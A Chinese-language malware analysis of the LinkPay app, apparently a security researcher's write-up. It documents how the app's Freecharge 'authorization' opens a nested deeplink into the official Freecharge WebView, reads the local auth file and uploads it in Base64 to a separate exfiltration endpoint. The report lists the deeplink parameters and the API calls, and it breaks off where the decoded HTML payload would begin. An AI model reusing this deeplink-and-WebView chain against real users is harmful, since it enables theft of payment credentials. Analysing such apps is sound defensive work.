# LinkPay Freecharge 授权分析 ## 样本来源 | 项目 | 值 | |------|-----| | 平台 App | LinkPay(`uni.app.UNIBA00479`,v1.1.9) | | 后端 API | `https://api.linkcorex.com` | | 钱包类型 | `walletType = 2` / `ctype = 2` | | 授权页面 | `pages/wallet/freecharge-auth`(`FreechargeAuthPage`) | | 分析样本 | `linkpay/apks/linkpay.apk` | | 抓包样本 | `freecharge_logs/logsrv_2026-07-28_23-06-50_15.har`(`freePrepare`) | > LinkPay 是 UniApp(DCloud)应用。Freecharge **不下载魔改 APK**,也**不使用** InstallPlugin(`xyz.rush.plugin`)。但授权链路会利用**官方 Freecharge App 的 WebView 容器**读取本地 auth 文件并外传。 --- ## 结论摘要 LinkPay 的 Freecharge「授权」表面上是官方 App 授权 + 服务端 `tempKey` 会话,**实际抓包显示**: 1. `freePrepare` 返回嵌套 deeplink,在官方 Freecharge 内打开 WebView(`action=wv`) 2. WebView 加载服务端注入的 HTML/JS,**读取官方 App 本地 auth 文件**并 Base64 上传 3. LinkPay 客户端轮询 `check`,待后端收到凭据后返回 `upiList` 4. 用户选择 UPI → `linkConfirm` 完成绑定 **不需要魔改 Freecharge 包**,也**没有** MobiKwik 那套 `Tail-TokenReceiver` 本地 Hook;但**并非正规 OAuth**,而是通过官方 App WebView 实现的**凭据窃取**。 --- ## 与其他钱包的分流逻辑 添加钱包时,服务端返回的 `isHook` 决定走哪条链路(`add-wallet` 页面): | `isHook` | 目标页面 | 机制 | |----------|----------|------| | `1` | `wallet-guide` | 下载服务端 APK → 安装 → 原生插件读 token | | `2` | **`freecharge-auth`** | **官方 App WebView + 读 auth 文件 + 后端 `tempKey` 会话** | | 其他 + `url` | `web-login` | WebView 打开登录页 | | 其他 + `otp` | `wizard` | OTP 向导流程 | Freecharge 固定为 `isHook = 2`,因此不会进入 `wallet-guide`,也不会在 `downloads/` 目录留下 APK 缓存。 对比 MobiKwik(`walletType = 4`,`isHook = 1`): ``` MobiKwik: freePrepare ❌ → wallet-guide → 下载 APK → TokenReceiver Hook Freecharge: freePrepare ✅ → freecharge-auth → openURL → 轮询 check → linkConfirm ``` --- ## 整体链路 ``` LinkPay (uni.app.UNIBA00479) │ 用户选择 Freecharge 绑定 │ isHook=2 → /pages/wallet/freecharge-auth ▼ POST api.linkcorex.com/.../freePrepare { ctype: 2 } │ 返回 tempKey + url(嵌套 deeplink + 恶意 HTML) ▼ plus.runtime.openURL(url) │ freecharge://home?action=wv&url=<内层 fc/app?html=...> ▼ 官方 Freecharge App 打开 WebView │ JS 读取 file:///data/data/com.freecharge.android/.../auth.preferences_pb │ POST api.linkadminpro.com/.../freeSubmit { b64, userId, sign } ▼ LinkPay 轮询 POST api.linkcorex.com/.../check { tempKey } │ status = 3 且 upiList 非空 → 授权完成 ▼ 用户在 LinkPay 选择要绑定的 UPI ▼ POST api.linkcorex.com/.../linkConfirm { tempKey, upiList } ▼ 绑定成功 → /pages/wallet/add-success ``` --- ## 前端实现(FreechargeAuthPage) 源码位置:`assets/apps/__UNI__BA00479/www/app-service.js`(webpack module `55bb`) ### 状态机 | 状态 | 含义 | |------|------| | `preparing` | 正在调用 `freePrepare` | | `authStarted` | 已拿到 `authUrl`,等待用户在 Freecharge 完成授权 | | `prepareDone` | 轮询成功,UPI 列表已返回,等待用户选择 | | `expired` | 会话超时(默认 `expireSeconds`,通常 600s) | | `confirming` | 正在调用 `linkConfirm` | ### 关键方法 | 方法 | 作用 | |------|------| | `startAuthentication()` | 调用 `freePrepare`,启动倒计时和轮询,自动 `openAuthUrl()` | | `openAuthUrl()` | `plus.runtime.openURL(this.authUrl)` 打开官方授权 | | `checkAuthorization()` | 轮询 `check` API,status=3 时解析 `upiList` | | `initUpiSelection()` | 加载多选配置、历史已绑 UPI,初始化选择列表 | | `confirmLink()` | 提交选中的 UPI 到 `linkConfirm` | ### UI 文案(暗示依赖官方 App) - *"Please complete the authorization in Freecharge."* - *"Return here after completing authorization in Freecharge."* - 按钮:*"Go to Authenticate"* / *"Open Freecharge Again"* --- ## API 接口 Base URL:`https://api.linkcorex.com` | 接口 | 方法 | 路径 | 请求 | 响应要点 | |------|------|------|------|----------| | 准备授权 | POST | `/app/ct/app/collection/freePrepare` | `{ ctype: 2, walletId?, id?, ... }` | `{ tempKey, url, phone, expireSeconds }` | | 轮询结果 | POST | `/app/ct/app/collection/check` | `{ tempKey }` | `{ status, upiList, phone, sessionId, sign, ... }` | | **凭据回传** | POST | `api.linkadminpro.com/.../freeSubmit` | `{ b64, userId, sign }` + `sessionId` query | `{ code: 1000, data: true }` | | 确认绑定 | POST | `/app/ct/app/collection/linkConfirm` | `{ tempKey, upiList[] }` | 成功 code=1000 | | UPI 多选配置 | GET | `/app/ct/type/ctType/{id}` | wallet config id | `{ multiple, multipleNum }` | | 已绑钱包列表 | GET | `/app/ct/app/collection/getWalletList` | — | 用于锁定历史 UPI | ### `check` 轮询逻辑 - 首次延迟 1200ms,之后每 1500ms 重试 - `status === 3` 且 `upiList.length > 0` → 授权完成 - 网络失败自动重试,显示 *"Network is unstable. Retrying automatically..."* - 超时后 `expired = true`,需重新 `startAuthentication()` ### UPI 格式校验 ```javascript /^[a-zA-Z0-9._-]{2,64}@[a-zA-Z0-9.-]{2,64}$/ ``` --- ## 付款时的 Freecharge 调用 INR 订单付款页(`pages/payment/inr-order`)对 Freecharge 单独处理: ```javascript // payoutWalletType === 2 时使用 freechargeIntent,而非通用 intent if (payoutWalletType === 2) { plus.runtime.openURL(order.freechargeIntent) } else { plus.runtime.openURL(order.intent) // MobiKwik / PhonePe 等 } ``` 付款同样通过 `plus.runtime.openURL` 调起官方 Freecharge,不涉及魔改包。 --- ## 与 ShowPay / WinPay 的对比 | 维度 | LinkPay Freecharge | ShowPay / WinPay Freecharge | |------|-------------------|----------------------------| | 下载器 | 无(官方包即可) | InstallPlugin(`xyz.rush.plugin`) | | APK 来源 | 不下载 | 缓存 `fcv76.apk`(魔改包) | | 包名 | 官方 `com.freecharge.android` | 同名但注入后门 | | 授权方式 | 官方 App WebView + 读 auth 文件 + `tempKey` 轮询 | AIDL `com.longfafa.pay.BIND_SERVICE` | | 本地 Hook | 无原生插件;WebView JS 读本地文件 | 有(`com.longfafa.paylib.JobService`) | | 获取数据 | `auth.preferences_pb` → 服务端解析 UPI | token / 手机号 / UPI / FCM 等(本地 IPC 窃取) | | 后端 | `api.linkcorex.com` + `api.linkadminpro.com` | `api.showpay-web.com` 等 | --- ## 获取到的数据范围 LinkPay Freecharge 授权完成后,客户端可见的数据: | 数据 | 来源 | 说明 | |------|------|------| | UPI 地址列表 | `check` 响应 `upiList` | 用户在 LinkPay 中选择子集提交 | | 手机号 | `freePrepare` / `check` 响应 `phone` | 用于匹配历史绑定 | | 绑定关系 | `linkConfirm` 成功后写入平台 | walletId + UPI + phone | **抓包确认的实际窃取行为**(`freecharge_logs`): | 行为 | 详情 | |------|------| | 读取本地 auth 文件 | `com.freecharge.android.auth.preferences_pb` | | 外传域名 | `api.linkadminpro.com`(与主 API `api.linkcorex.com` 不同) | | 外传接口 | `POST /app/ct/app/collection/freeSubmit?sessionId=...` | | 外传内容 | auth 文件 Base64(`{ b64, userId, sign }`) | **未观察到**以下行为: - 下载 / 安装魔改 Freecharge APK - 使用 `Tail-TokenReceiver` 原生插件(Freecharge 授权页不调用) - 注册 `com.longfafa.pay.BIND_SERVICE` 类 IPC 后门 --- ## 授权 Deeplink(核心,已抓包确认) ### 关键结论 **LinkPay 客户端里没有写死 Freecharge 授权 deeplink。** `url` 完全由服务端在 `freePrepare` 响应里动态下发(约 21KB),前端只做: ```javascript // freecharge-auth.vue → openAuthUrl() plus.runtime.openURL(this.authUrl) // authUrl = freePrepare 响应里的 data.url ``` 客户端 JS 中**不存在** `freecharge://`、`fc/app` 等硬编码字符串;但服务端下发的 URL 是**三层嵌套结构**。 ### freePrepare 真实响应(`freecharge_logs`,2026-07-28 23:06:50) ```json { "code": 1000, "data": { "ctype": 2, "phone": "", "expireSeconds": 600, "tempKey": "9c63f226-7554-888b-9c07-fc80e2dbb85f", "url": "freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=https%3A%2F%2Ffreecharge.in%2Ffc%2Fapp%3Faction%3Dwv%26...%26html%3D%253C%2521DOCTYPE%252Bhtml%253E..." } } ``` ### 三层 Deeplink 结构 **第 1 层 — 外层(LinkPay `openURL` 直接打开)** ```text freecharge://home?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&url=<内层 URL 编码> ``` | 参数 | 值 | 含义 | |------|-----|------| | `action` | `wv` | 打开 WebView 容器(非 IncoinPay 付款用的 `view`) | | `displayBar` | `false` | 隐藏导航栏 | | `showLoader` | `true` | 显示加载动画 | | `url` | 内层 `https://freecharge.in/fc/app?...` | 嵌套目标 | **第 2 层 — 内层(Freecharge App 内 WebView 加载)** ```text https://freecharge.in/fc/app?action=wv&historyEnabled=true&shouldBackStack=true&enableMultiWondow=true&displayBar=false&showLoader=true&cacheEnabled=true&html= ``` **第 3 层 — 嵌入 HTML/JS(恶意载荷)** 完整载荷已从 HAR 解码,保存在: ``` linkpay/freecharge_payload/ ├── auth_webview.html # 格式化后的 HTML(含可读 JS) ├── auth_webview_raw.html # 从 html= 参数直接解码的原始串 └── auth_payload.js # eval(String.fromCharCode(...)) 解码后的 JS ``` **完整 HTML 结构:** ```html